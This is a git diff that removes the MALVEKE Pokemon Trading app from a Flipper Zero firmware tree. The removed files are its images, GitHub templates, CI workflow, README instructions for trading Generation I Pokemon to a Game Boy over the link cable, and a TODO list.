-PenaltyBreakAssignment: 10 -PenaltyBreakBeforeFirstCallParameter: 30 -PenaltyBreakComment: 10 -PenaltyBreakFirstLessLess: 0 -PenaltyBreakOpenParenthesis: 0 -PenaltyBreakString: 10 -PenaltyBreakTemplateDeclaration: 10 -PenaltyExcessCharacter: 100 -PenaltyReturnTypeOnItsOwnLine: 60 -PenaltyIndentedWhitespace: 0 -PointerAlignment: Left -PPIndentWidth: -1 -ReferenceAlignment: Pointer -ReflowComments: false -RemoveBracesLLVM: false -SeparateDefinitionBlocks: Leave -ShortNamespaceLines: 1 -SortIncludes: Never -SortJavaStaticImport: Before -SortUsingDeclarations: false -SpaceAfterCStyleCast: false -SpaceAfterLogicalNot: false -SpaceAfterTemplateKeyword: true -SpaceBeforeAssignmentOperators: true -SpaceBeforeCaseColon: false -SpaceBeforeCpp11BracedList: false -SpaceBeforeCtorInitializerColon: true -SpaceBeforeInheritanceColon: true -SpaceBeforeParens: Never -SpaceBeforeParensOptions: - AfterControlStatements: false - AfterForeachMacros: false - AfterFunctionDefinitionName: false - AfterFunctionDeclarationName: false - AfterIfMacros: false - AfterOverloadedOperator: false - BeforeNonEmptyParentheses: false -SpaceAroundPointerQualifiers: Default -SpaceBeforeRangeBasedForLoopColon: true -SpaceInEmptyBlock: false -SpaceInEmptyParentheses: false -SpacesBeforeTrailingComments: 1 -SpacesInAngles: Never -SpacesInConditionalStatement: false -SpacesInContainerLiterals: false -SpacesInCStyleCastParentheses: false -SpacesInLineCommentPrefix: - Minimum: 1 - Maximum: -1 -SpacesInParentheses: false -SpacesInSquareBrackets: false -SpaceBeforeSquareBrackets: false -BitFieldColonSpacing: Both -Standard: c++03 -StatementAttributeLikeMacros: - - Q_EMIT -StatementMacros: - - Q_UNUSED - - QT_REQUIRE_VERSION -TabWidth: 4 -UseCRLF: false -UseTab: Never -WhitespaceSensitiveMacros: - - STRINGIZE - - PP_STRINGIZE - - BOOST_PP_STRINGIZE - - NS_SWIFT_NAME - - CF_SWIFT_NAME -... - diff --git a/applications/external/malveke_pokemon_trading/.flipcorg/banner.png b/applications/external/malveke_pokemon_trading/.flipcorg/banner.png deleted file mode 100644 index 7407baced35..00000000000 Binary files a/applications/external/malveke_pokemon_trading/.flipcorg/banner.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/1.png b/applications/external/malveke_pokemon_trading/.flipcorg/gallery/1.png deleted file mode 100644 index f8dc9a79417..00000000000 Binary files a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/1.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/2.png b/applications/external/malveke_pokemon_trading/.flipcorg/gallery/2.png deleted file mode 100644 index 6c535fae6e3..00000000000 Binary files a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/2.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/3.png b/applications/external/malveke_pokemon_trading/.flipcorg/gallery/3.png deleted file mode 100644 index ad15086c0ed..00000000000 Binary files a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/3.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/4.png b/applications/external/malveke_pokemon_trading/.flipcorg/gallery/4.png deleted file mode 100644 index 3d3cc24a1a1..00000000000 Binary files a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/4.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/5.png b/applications/external/malveke_pokemon_trading/.flipcorg/gallery/5.png deleted file mode 100644 index 3922a48ac2c..00000000000 Binary files a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/5.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/6.png b/applications/external/malveke_pokemon_trading/.flipcorg/gallery/6.png deleted file mode 100644 index 6ea07c08021..00000000000 Binary files a/applications/external/malveke_pokemon_trading/.flipcorg/gallery/6.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/.github/FUNDING.yml b/applications/external/malveke_pokemon_trading/.github/FUNDING.yml deleted file mode 100644 index b71e52ea724..00000000000 --- a/applications/external/malveke_pokemon_trading/.github/FUNDING.yml +++ /dev/null @@ -1,13 +0,0 @@ -# These are supported funding model platforms - -github: EstebanFuentealba # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] -patreon: # -open_collective: # Replace with a single Open Collective username -ko_fi: # Replace with a single Ko-fi username -tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel -community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -liberapay: # Replace with a single Liberapay username -issuehunt: # Replace with a single IssueHunt username -otechie: # Replace with a single Otechie username -lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry -custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] diff --git a/applications/external/malveke_pokemon_trading/.github/ISSUE_TEMPLATE/01_bug_report.yml b/applications/external/malveke_pokemon_trading/.github/ISSUE_TEMPLATE/01_bug_report.yml deleted file mode 100644 index ead344a3c39..00000000000 --- a/applications/external/malveke_pokemon_trading/.github/ISSUE_TEMPLATE/01_bug_report.yml +++ /dev/null @@ -1,45 +0,0 @@ -name: Bug report -description: File a bug reports regarding the app. -labels: ["bug"] -body: - - type: markdown - attributes: - value: | - Thank you for taking the time to fill out an issue, this template is meant for any issues related to application. - - type: textarea - id: description - attributes: - label: Describe the bug. - description: "A clear and concise description of what the bug is." - validations: - required: true - - type: textarea - id: repro - attributes: - label: Reproduction - description: "How can this bug be reproduced?" - placeholder: | - 1. Switch on... - 2. Press button '....' - 3. Wait for the moon phase - 4. It burns - validations: - required: true - - type: input - id: target - attributes: - label: Target Framework - description: Specify the target - # Target seems to be largely ignored by outside sources. - - type: textarea - id: logs - attributes: - label: Logs - description: Attach your debug logs here - render: Text - # Avoid rendering as Markdown here. - - type: textarea - id: anything-else - attributes: - label: Anything else? - description: Let us know if you have anything else to share. diff --git a/applications/external/malveke_pokemon_trading/.github/ISSUE_TEMPLATE/02_implemented.yml b/applications/external/malveke_pokemon_trading/.github/ISSUE_TEMPLATE/02_implemented.yml deleted file mode 100644 index 60514f5739d..00000000000 --- a/applications/external/malveke_pokemon_trading/.github/ISSUE_TEMPLATE/02_implemented.yml +++ /dev/null @@ -1,21 +0,0 @@ -name: I implemented it -description: Share your process. -labels: ["implemented"] -body: -- type: markdown - attributes: - value: | - Thank you for taking the time to fill out. If you have already implemented the application, could you share which Flipper Zero framework you have used? Additionally, could you specify the required type of Game Boy and cartridge? Lastly, it would be great if you could share some images of the process. -- type: textarea - id: desc - attributes: - label: "Describe the process." - description: | - Feel free to describe in as much detail as you wish. - validations: - required: true -- type: input - id: type - attributes: - label: Game boy - description: (Color, Pocket, Advance) \ No newline at end of file diff --git a/applications/external/malveke_pokemon_trading/.github/workflows/flipperZeroAction.yml b/applications/external/malveke_pokemon_trading/.github/workflows/flipperZeroAction.yml deleted file mode 100644 index 9a521138920..00000000000 --- a/applications/external/malveke_pokemon_trading/.github/workflows/flipperZeroAction.yml +++ /dev/null @@ -1,24 +0,0 @@ -name: Flipper Zero CI - -on: - push: - tags: - - "v*.*" -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v3 - - name: Clone ufbt - run: | - git config --global url.https://github.com/.insteadOf git://github.com/ - git clone https://github.com/flipperdevices/flipperzero-ufbt.git ../ufbt - - name: Ufbt Build App - run: | - ../ufbt/ufbt "fap_$(grep -o 'appid="[a-zA-Z0-9]\+"' application.fam | awk -F '"' '{print $2}')" - - name: Release - uses: softprops/action-gh-release@v1 - if: startsWith(github.ref, 'refs/tags/') - with: - files: | - ../ufbt/.ufbt/build/**/*.fap diff --git a/applications/external/malveke_pokemon_trading/.gitignore b/applications/external/malveke_pokemon_trading/.gitignore deleted file mode 100644 index 94f1119ef02..00000000000 --- a/applications/external/malveke_pokemon_trading/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -.DS_Store -.vscode diff --git a/applications/external/malveke_pokemon_trading/README.md b/applications/external/malveke_pokemon_trading/README.md deleted file mode 100644 index 316a1fe4470..00000000000 --- a/applications/external/malveke_pokemon_trading/README.md +++ /dev/null @@ -1,276 +0,0 @@ -# [MALVEKE] Pokemon Trading - - -
- -
MALVEKE Prototype V2.3
-
- -
- -**Official** | **Unleashed** | **RogueMaster** | **Xtreme** -:- | :- | :- | :- -[![FlipC.org](https://flipc.org/EstebanFuentealba/MALVEKE-Flipper-Zero/badge?branch=main&root=flipper_companion_apps%2Fapplications%2Fexternal%2Fmalveke_pokemon_trading&firmware=official)](https://flipc.org/EstebanFuentealba/MALVEKE-Flipper-Zero?branch=main&root=flipper_companion_apps%2Fapplications%2Fexternal%2Fmalveke_pokemon_trading&firmware=official)|[![FlipC.org](https://flipc.org/EstebanFuentealba/MALVEKE-Flipper-Zero/badge?branch=main&root=flipper_companion_apps%2Fapplications%2Fexternal%2Fmalveke_pokemon_trading&firmware=unleashed)](https://flipc.org/EstebanFuentealba/MALVEKE-Flipper-Zero?branch=main&root=flipper_companion_apps%2Fapplications%2Fexternal%2Fmalveke_pokemon_trading&firmware=unleashed)|[![FlipC.org](https://flipc.org/EstebanFuentealba/MALVEKE-Flipper-Zero/badge?branch=main&root=flipper_companion_apps%2Fapplications%2Fexternal%2Fmalveke_pokemon_trading&firmware=roguemaster)](https://flipc.org/EstebanFuentealba/MALVEKE-Flipper-Zero?branch=main&root=flipper_companion_apps%2Fapplications%2Fexternal%2Fmalveke_pokemon_trading&firmware=roguemaster)|[![FlipC.org](https://flipc.org/EstebanFuentealba/MALVEKE-Flipper-Zero/badge?branch=main&root=flipper_companion_apps%2Fapplications%2Fexternal%2Fmalveke_pokemon_trading&firmware=xtreme)](https://flipc.org/EstebanFuentealba/MALVEKE-Flipper-Zero?branch=main&root=flipper_companion_apps%2Fapplications%2Fexternal%2Fmalveke_pokemon_trading&firmware=xtreme) -
-
- -

-I sell on Tindie -

- -## Introduction - -This is a Pokemon exchange application from Flipper Zero to Game Boy [(Generaction I)](https://bulbapedia.bulbagarden.net/wiki/Generation_I). Flipper Zero emulates a "Slave" Game Boy connected to a Game Link Cable to be able to exchange any Pokemon from the First Generation (Red, Blue, Yellow) to a real Game Boy. - -It currently trades a Pokemon based on your choice of Pokemon, Level, Stats and 4 Moves. - -## MALVEKE for Flipper Zero with Cable Link. - -Connect your ***GAME BOY*** through the link cable to the `EXT1` port on the **MALVEKE** board. - - -

-
- -
-

- -## Instructions for use. - -These instructions assume that you are starting at the Flipper Zero desktop. Otherwise, press the Back button until you are at the desktop. - -- Press the `OK` button on the Flipper to open the main menu. -- Choose `Applications` from the menu. -- Choose `GPIO` from the submenu. -- Choose `Pokemon Trading` -- The Flipper Zero will show the main menu of the application. The first option is to select the Pokemon to trade. - -

-
- -
-

- -- Press the `LEFT`/`RIGHT` buttons to paginate the selection of Pokemon by 1. -- Press the `UP`/`DOWN` buttons to paginate the selection of Pokemon by 10. -- Press the `OK` button to select the Pokemon to trade and return to the main menu - -

-
-
-

- -- The traded Pokemon's nickname can be set. When a Pokemon is selected, the nickname defaults to the species name in all caps. This mimics a Pokemon without a customized nickname. In order to reset this nickname to its default, clear the text entry field, press `OK` on the `Save` button. This will fill the text box with the default name. Press `Save` again to set this name. - - **Note:** The Nidoran♀ and Nidoran♂ names will not properly render. This is because the Flipper currently cannot print unicode characters to screen. Following the above instructions will fill the text entry field with `NIDORAN ` with a space after it. This space is the unrenderable ♀/♂ symbol. Once traded, it will be correctly named. - - **Note:** Only alphanumeric characters are supported in the Pokemon's nickname at this time. - -

-
- -
-

- -- The Pokemon's level can be adjusted as well by hitting `OK` on the level option. The minimum level is `2` and the maximum is `100`. The level is input via a text box. (Levels below 2 cause an underflow glitch in Gen I games that would cause the level to jump to 100, so if you want this just set the Pokemon's level to 100) - -

-
- -
-

- -- The `Select Moves` menu is used to pick the set the traded Pokemon's moves. They are pre-populated with the moveset that the Pokemon would know at level 1. Selecting a move slot will bring up an alphabetical index of moves. Additionally, `No Move` and `Default` can be quickly selected. Note that any move after the first `No Move` is ignored. - -

-
- -
-

- -

-
- -
-

- -- The `Select Types` menu can change the traded Pokemon's types. The type(s) are pre-set to what the selected Pokemon normally is. - - Pokemon with a single type will have the same type set for both types. - - **Note:** Unlike other menus, changing either type immediately saves it. Pressing `Back` will keep any changes. This will be addressed in a later version. If you need to revert to the default types, a different Pokemon can be selected and the desired Pokemon re-selected. - - **Note:** When changing the type(s), the Pokemon's in-game stats will _NOT_ reflect the chosen type(s). Additionally, these may be overwritten back to default in-game if the Pokemon uses a move that affects types (e.g. `Transform`) or the Pokemon evolves. - -

-
- -
-

- -- The Pokemon's stats can also be influenced. The current settings are: - - `Random IV, Zero EV` Mimics stats of a caught wild Pokemon. - - `Random IV, Max EV / Level` IV is randomized, but EV is set to the maximum a trained Pokemon could be for its current level. - - `Randon IV, Max EV` IV is randomized, EV is set to the absolute max for a perfectly trained Pokemon. - - `Max IV, Zero EV` Mimics stats of a caught wild Pokemon, but with the maximum IV possible. - - `Max IV, Max EV / Level` IV is max, EV is set to the maximum a trained Pokemon could be for its current level. - - `Max IV, Max EV` Absolutely perfect and overly powerful Pokemon. - -

-
- -
-

- -- The `OT ID#` and `OT Name` of the Pokemon can also be set. The `OT ID#` must be between `0` and `65535`. Setting the `OT ID#` and `OT Name` to the same as your current trainer's causes the game to believe it was a wild caught Pokemon and not one that was traded. This means high level Pokemon will still obey you without badges, but, will not get the experience boost of a traded Pokemon. - -

-
-
-

- -

-
-
-

- -- Finally, select `Trade PKMN` to start the trade process. - -

-
-
-

- -

-
-
-

- -- On your Game Boy, you should connect the **Game Link Cable** to the Game Boy and in the game, go to the nearest **Pokemon Center**. - -

-
-
-

- -- Talk to the girl at the counter on the right. The girl will tell us that we have to save the game before playing, we will answer **YES** by pressing the **A** button. - -

-
-
-

- -- The Flipper Zero will show that we are connected. - -

-
-
-

- -- On the Game Boy, we will be asked which option we want, and we select **TRADE CENTER**. - -

-
-
-

- -- You will enter the Trade Center where you must press the A button on the Game Boy on your side of the table. - -

-
-
-

- -- Flipper Zero will remain on a waiting screen with the Pokemon you selected. - -

-
-
-

- -- You will see your Pokemon and the Pokemon you selected on the Flipper Zero, in this case, `Mew`. You must select the Pokemon you want to trade and press **TRADE**. - -

-
-
-

- -- You must confirm the selected trade by selecting **TRADE**. - -

-
-
-

- -- Flipper Zero will remain on a waiting screen with the Pokemon you selected. - -

-
-
-

- -- Finally, the Pokemon exchange will start from **Flipper Zero** to the **Game Boy**. - -

-
-
-

- -- Once the trade is complete, both the **Game Boy** and the **Flipper Zero** will return to the `WAITING` state. If the **Game Boy** selects `CANCEL`, the **Flipper Zero** will return to the `READY` state. The BACK button can be pressed to return to the main menu. The traded Pokemon can be modified, or completely changed, if desired. Once the **Flipper Zero** Re-enters the Trade screen, and the **Game Boy** re-selects the trade table in-game, another trade can be completed. This allows for trading multiple Pokemon without having to reset the **Game Boy** each time. - - If the Flipper Zero gets stuck at the end of the exchange, you must reboot it by pressing the LEFT + BACK key combination. - -

-
-
-

- -## How does it work? - -The method used to communicate 2 Game Boys is based on the SPI protocol, which is a very simple serial communication protocol in which a master device communicates with one or more slave devices. The protocol is bidirectional and synchronous, and uses three basic signals: - -- A clock signal (CLK). -- An output signal (Serial Out or SO). -- An input signal (Serial In or SI). - -In the Game Boy, games store data in an internal shift register that is used to send and receive information. The SPI protocol used by the Game Boy uses the clock signal to indicate when data is being transferred. - -The Game Boy link protocol is synchronous and requires the slave device to respond at the same rate as the master device. The master device supplies an 8KHz clock (data transfer rate of 1KB/s). The time window for responding is only **~120μs**. However, the slave device has no restrictions and can respond when it receives data. The clock can vary and there is no lower limit. - -

-
-
-

- -_An example GB SPI transfer. Here, the master sends 0xD9 (217) and the slave sends 0x45 (69)._ - -
- -You can learn more about it in the following video. [**Analyzing the Different Versions of the Link Cable**](https://youtu.be/h1KKkCfzOws?t=151). - - -## GUI - -To generate the graphical interface, the [**FUI-Editor**](https://ilin.pt/stuff/fui-editor/) tool was used. Additionally, the original sprites from the game Pokemon Yellow, which are found in the [**Disassembly of Pokemon Yellow**](https://github.com/pret/pokeyellow/tree/master/gfx/pokemon/front) repository, were used. - -For each image, the color `#aaa` was transformed to `#fff` so that Flipper Zero would render it correctly. To do this, a batch process was used in [Photopea](https://www.photopea.com/), the online image editor. - -## Tested In -- Game Boy Color (GBC) -- Game Boy Advance (GBA) - -## Contributors -[![Contributors](https://contrib.rocks/image?repo=EstebanFuentealba/Flipper-Zero-Game-Boy-Pokemon-Trading)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Pokemon-Trading/graphs/contributors) - - -## Links - -- [Flipper Zero firmware source code](https://github.com/flipperdevices/flipperzero-firmware) -- Adan Scotney's Pokemon [trade protocol specification](http://www.adanscotney.com/2014/01/spoofing-pokemon-trades-with-stellaris.html) and implementation -- Derek Jamison - [Youtube Channel](https://www.youtube.com/@MrDerekJamison) -- Matt Penny - [GBPlay Blog](https://blog.gbplay.io/) -- [Pokémon data structure (Generation I)]() -- [Disassembly of Pokemon Yellow](https://github.com/pret/pokeyellow) -- [Arduino-Spoofing-Gameboy-Pokemon-Trades](https://github.com/EstebanFuentealba/Arduino-Spoofing-Gameboy-Pokemon-Trades) -- [🎮 Gameboy link cable breakout PCB](https://github.com/Palmr/gb-link-cable) - -

-
-
-From Talcahuano 🇨🇱 with ⤠-

diff --git a/applications/external/malveke_pokemon_trading/README_catalog.md b/applications/external/malveke_pokemon_trading/README_catalog.md deleted file mode 100644 index cd332974a5f..00000000000 --- a/applications/external/malveke_pokemon_trading/README_catalog.md +++ /dev/null @@ -1,31 +0,0 @@ -# [MALVEKE] Pokemon Trading - -## Introduction - -This is a Pokemon exchange application from Flipper Zero to Game Boy (Generación I). Flipper Zero emulates a "Slave" Game Boy connected to a Game Link Cable to be able to exchange any Pokemon from the First Generation (Red, Blue, Yellow) to a real Game Boy. - -It is a Proof of Concept (POC) for using views, GPIO, and FURI (Flipper Universal Registry Implementation). - - -## MALVEKE for Flipper Zero with Cable Link. - -Connect your ***GAME BOY*** through the link cable to the **EXT1** port on the **MALVEKE** board. - -## How does it work? - -The method used to communicate 2 Game Boys is based on the SPI protocol, which is a very simple serial communication protocol in which a master device communicates with one or more slave devices. The protocol is bidirectional and synchronous, and uses three basic signals: - -- A clock signal (CLK). -- An output signal (Serial Out or SO). -- An input signal (Serial In or SI). - -In the Game Boy, games store data in an internal shift register that is used to send and receive information. The SPI protocol used by the Game Boy uses the clock signal to indicate when data is being transferred. - -The Game Boy link protocol is synchronous and requires the slave device to respond at the same rate as the master device. The master device supplies an 8KHz clock (data transfer rate of 1KB/s). The time window for responding is only **~120μs**. However, the slave device has no restrictions and can respond when it receives data. The clock can vary and there is no lower limit. - - -## Tested In -- Game Boy Color (GBC) -- Game Boy Advance (GBA) - - diff --git a/applications/external/malveke_pokemon_trading/TODO.md b/applications/external/malveke_pokemon_trading/TODO.md deleted file mode 100644 index f98b1a78d3d..00000000000 --- a/applications/external/malveke_pokemon_trading/TODO.md +++ /dev/null @@ -1,47 +0,0 @@ -# Flipper Zero Game Boy Pokemon Trading -` -- Configure Gen 1 traded pokemon - - Pokemon Nickname - - [x] Change the default traded Pokemon's naming to be no nickname - - [x] Add a view to allow for a custom Pokemon nickname (11 chars, 10 chars max used, fill and terminate with TERM_) - - [ ] Figure out how to implement Nidoran male/female symbol - - Previous commits used unicode escape codes which I had issues compiling for some reason, but the actual unicode chars were fine - - Could make a special case for just those two - - Stats - - [x] Add view to allow the traded Pokemon's level to be chosen between 2 and 100 - - [x] Add view to allow the traded Pokemon's hidden stats to be chosen (IV and EV) from some options - - [ ] Are there any better ways to present these options? - - [x] Debug traded Pokemon level issue where after a battle the Pokemon's level drops (doesn't affect all traded Pokemon) - - [x] Optimise the level selection screen to be a number slider input instead of the current slideshow style selector (Implemented as text input that only accepts numbers) - - Moves - - [x] Add view to allow the traded Pokemon's moveset to be chosen (all 4 moves) allowing no move as an option - - [ ] Find a way to get faster scrolling through the move select submenu - - [ ] Implement a way to denote that any moves after the first No Move are also No Move? - - Hide all moves beyond the first No Moves? - - Promote moves? e.g. if move 1 is set, 2 unset, if user sets move 3 then promote it to move 2 - - Automatically clear moves beyond the first no move? surprising but that is what the game does - - Types - - [x] Support setting pokemon type(s) - - [ ] Implement a save/revert to default workflow on the select types scene - - Trade - - [x] Investigate Trade screens not always blinking - - UI - - [ ] Find a way to line up submenu items so the main menu looks cleaner - - They currently _mostly_ line up thanks to some manual spacing, but tabs don't appear to be supported to force that alignment - - Alternatively may need to implement our own view to make this pretty -- Documentation - - [x] Add images for the level selection screen, stats selection screen, and move selection screens as per the original README -- Codebase - - [x] Reimplement Logging calls - - [ ] Clean up the codebase as it is now, there are a lot of optimizations in speed and code complexity that can be made, especially in added code in pokemon_app and maybe some code reduction/reuse in scenes - - [ ] Consider using a single View in main app struct and only allocate a view as needed to reduce memory footprint - -- Future Wants - - [ ] Trading to Gen II games with both Gen I and Gen II Pokemon - - [ ] Enable IR mystery gift usage in Gen II using Flipper - - [ ] Be able to set up multiple Pokemon to be able to trade more than one per trip to trade center - - [x] Be able to trade back and forth for e.g. trading a Pokemon that evolves only when traded - - [x] Would Separating out link cable states result in a cleaner API? - - [ ] Implement some simple logic to be able to "battle" the Flipper? - - [ ] There was a suggestion to be able to trade in a Pokemon to harvest OT name and ID on the flipper and set it to that. - - [ ] Ability to save Pokemon to SD card. Either created on, or traded to, the Flipper app. diff --git a/applications/external/malveke_pokemon_trading/application.fam b/applications/external/malveke_pokemon_trading/application.fam deleted file mode 100644 index 9455b51aa2a..00000000000 --- a/applications/external/malveke_pokemon_trading/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="malveke_pokemon_trading", - name="Pokemon Trading", - apptype=FlipperAppType.EXTERNAL, - entry_point="pokemon_app", - stack_size=2 * 1024, - fap_category="GPIO/MALVEKE", - fap_icon="pokemon_10px.png", - fap_icon_assets="assets", - fap_author="Esteban Fuentealba", - fap_weburl="https://github.com/EstebanFuentealba", - fap_version=(1, 4), - fap_description="This is a Pokemon exchange application from Flipper Zero to Game Boy (Generaction I). Flipper Zero emulates a 'Slave' Game Boy connected to a Game Link Cable to be able to exchange any Pokemon from the First Generation (Red, Blue, Yellow) to a real Game Boy.", -) diff --git a/applications/external/malveke_pokemon_trading/assets/Background.png b/applications/external/malveke_pokemon_trading/assets/Background.png deleted file mode 100644 index 3cb1eb3b0b7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/Background.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/Background_128x11.png b/applications/external/malveke_pokemon_trading/assets/Background_128x11.png deleted file mode 100644 index 78ef029ae73..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/Background_128x11.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/Connect_me_62x31.png b/applications/external/malveke_pokemon_trading/assets/Connect_me_62x31.png deleted file mode 100644 index 68c48c0e681..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/Connect_me_62x31.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/Connected_62x31.png b/applications/external/malveke_pokemon_trading/assets/Connected_62x31.png deleted file mode 100644 index eeaf660b12e..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/Connected_62x31.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/Space_100x18.png b/applications/external/malveke_pokemon_trading/assets/Space_100x18.png deleted file mode 100644 index 09feb8d345b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/Space_100x18.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/Space_65x18.png b/applications/external/malveke_pokemon_trading/assets/Space_65x18.png deleted file mode 100644 index c38c0c7f845..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/Space_65x18.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/Space_80x18.png b/applications/external/malveke_pokemon_trading/assets/Space_80x18.png deleted file mode 100644 index 3dc04697f98..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/Space_80x18.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/Space_95x18.png b/applications/external/malveke_pokemon_trading/assets/Space_95x18.png deleted file mode 100644 index bd3ba44d218..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/Space_95x18.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/abra.png b/applications/external/malveke_pokemon_trading/assets/abra.png deleted file mode 100644 index b25b423dc3e..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/abra.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/aerodactyl.png b/applications/external/malveke_pokemon_trading/assets/aerodactyl.png deleted file mode 100644 index 2c7c25df09a..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/aerodactyl.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/alakazam.png b/applications/external/malveke_pokemon_trading/assets/alakazam.png deleted file mode 100644 index 1420491d3c7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/alakazam.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/arbok.png b/applications/external/malveke_pokemon_trading/assets/arbok.png deleted file mode 100644 index 146af780397..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/arbok.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/arcanine.png b/applications/external/malveke_pokemon_trading/assets/arcanine.png deleted file mode 100644 index b99c9189f92..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/arcanine.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/articuno.png b/applications/external/malveke_pokemon_trading/assets/articuno.png deleted file mode 100644 index fdb319097d7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/articuno.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/beedrill.png b/applications/external/malveke_pokemon_trading/assets/beedrill.png deleted file mode 100644 index af467aab35d..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/beedrill.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/bellsprout.png b/applications/external/malveke_pokemon_trading/assets/bellsprout.png deleted file mode 100644 index c1c550d7c77..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/bellsprout.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/blastoise.png b/applications/external/malveke_pokemon_trading/assets/blastoise.png deleted file mode 100644 index 24ab98bc190..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/blastoise.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/bulbasaur.png b/applications/external/malveke_pokemon_trading/assets/bulbasaur.png deleted file mode 100644 index 8916cd48452..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/bulbasaur.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/butterfree.png b/applications/external/malveke_pokemon_trading/assets/butterfree.png deleted file mode 100644 index 405e1f1a4da..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/butterfree.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/caterpie.png b/applications/external/malveke_pokemon_trading/assets/caterpie.png deleted file mode 100644 index 3f531ea3bb5..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/caterpie.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/chansey.png b/applications/external/malveke_pokemon_trading/assets/chansey.png deleted file mode 100644 index 390d475bda7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/chansey.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/charizard.png b/applications/external/malveke_pokemon_trading/assets/charizard.png deleted file mode 100644 index 5a16559330c..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/charizard.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/charmander.png b/applications/external/malveke_pokemon_trading/assets/charmander.png deleted file mode 100644 index d6f03fbbd2f..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/charmander.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/charmeleon.png b/applications/external/malveke_pokemon_trading/assets/charmeleon.png deleted file mode 100644 index 6d59fe99c84..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/charmeleon.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/clefable.png b/applications/external/malveke_pokemon_trading/assets/clefable.png deleted file mode 100644 index fddbc7e1a0b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/clefable.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/clefairy.png b/applications/external/malveke_pokemon_trading/assets/clefairy.png deleted file mode 100644 index 92b56c37cf4..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/clefairy.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/cloyster.png b/applications/external/malveke_pokemon_trading/assets/cloyster.png deleted file mode 100644 index 949e419e0d8..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/cloyster.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/cubone.png b/applications/external/malveke_pokemon_trading/assets/cubone.png deleted file mode 100644 index 49ff652c737..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/cubone.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/dewgong.png b/applications/external/malveke_pokemon_trading/assets/dewgong.png deleted file mode 100644 index 1089099c004..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/dewgong.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/diglett.png 